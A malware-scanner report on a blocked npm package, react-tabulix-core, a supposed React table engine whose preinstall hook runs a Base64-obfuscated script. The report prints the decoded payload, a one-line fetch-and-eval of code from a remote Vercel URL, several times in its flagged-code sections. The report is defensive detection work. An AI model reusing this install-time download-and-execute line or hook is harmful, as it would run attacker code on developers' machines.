registry / Remote code execution / react-tabulix-core

react-tabulix-core

Headless smart table engine for React — sorting, filtering, pagination, and row selection

This report shows the evidence for react-tabulix-core@0.1.3. 4 of 5 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

This is a concrete, unconsented preinstall remote-code-execution chain, hidden by Base64 encoding. The package should be blocked.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm preinstall during package installation

Impact

Arbitrary code execution with installer privileges

Mechanism

Base64-obfuscated fetch followed by eval

Attack narrative

Installing the package triggers package.json's preinstall command, which executes dist/index.d.js. That file decodes an obfuscated JavaScript string, fetches code from a remote endpoint, and evaluates the returned text. The endpoint can therefore supply arbitrary code at install time without a package update.

AI rationale

This is a concrete, unconsented preinstall remote-code-execution chain, hidden by Base64 encoding. The package should be blocked.

Evidence

package.jsondist/index.d.jsdist/index.jsdist/index.mjs

Network endpoints1

everydaynodechecker-39145n.vercel.app/api/key?mem=root3

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines preinstall: node ./dist/index.d.js.
dist/index.d.js Base64-decodes an obfuscated payload.
Decoded payload fetches a remote Vercel URL and evals its response during preinstall.
Runtime entrypoints contain only table/React utilities; the malicious path is install-time.

Evidence against

No file or credential harvesting is present in the inspected package files.
dist/index.js and dist/index.mjs implement the declared table functionality.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsObfuscated

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 15.2 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node ./dist/index.d.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39145n.vercel.app/api/key?mem=root3') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39145n.vercel.app/api/key?mem=root3') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> dist/index.d.js L1: (async () => eval( await fetch('https://everydaynodechecker-39145n.vercel.app/api/key?mem=root3') .then(r => r.text()) ) )();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

dist/index.d.jsView file

3const b4 = '[redacted]... L4: const text = Buffer.from(b4, "base64").toString("utf-8"); L5: let nms = [101, 118, 97, 108]

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

dist/index.d.jsView on unpkg · L3

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node ./dist/index.d.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39145n.vercel.app/api/key?mem=root3') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39145n.vercel.app/api/key?mem=root3') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> dist/index.d.js L1: (async () => eval( await fetch('https://everydaynodechecker-39145n.vercel.app/api/key?mem=root3') .then(r => r.text()) ) )();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

dist/index.d.jsView file

3const b4 = '[redacted]... L4: const text = Buffer.from(b4, "base64").toString("utf-8"); L5: let nms = [101, 118, 97, 108]

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

dist/index.d.jsView on unpkg · L3

Findings

3 Critical2 High1 Medium3 Low

CriticalDownload Executedist/index.d.js#virtual:base64:round1

CriticalRemote Asset Decode Executedist/index.d.js#virtual:base64:round1

CriticalTrigger Reachable Dangerous Capabilitydist/index.d.js#virtual:base64:round1

HighInstall Time Lifecycle Scriptspackage.json

HighBase64 Obscured Urldist/index.d.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowObfuscated

LowHigh Entropy Strings

Affected versions and remediation

This report applies to react-tabulix-core@0.1.3.

The versions list below shows the verdict for each recorded version.

Avoid installing react-tabulix-core@0.1.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-04 22:04:49.421Z (UTC).

Source advisory published: 2026-07-21 12:01:12.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

5 known versions

0.0.1-securitylatestClean—AllowPublishedJul 22, 2026, 4:36 PM 0.1.3shownMaliciousRemote Code ExecutionBlockPublishedJul 21, 2026, 11:58 AM 0.1.2MaliciousRemote Code ExecutionBlockPublishedJul 21, 2026, 11:56 AM 0.1.1MaliciousRemote Code ExecutionBlockPublishedJul 21, 2026, 11:53 AM 0.1.0MaliciousMalwareBlockPublishedJul 21, 2026, 11:50 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Source & flagged code

Related packages

Other remote code execution packages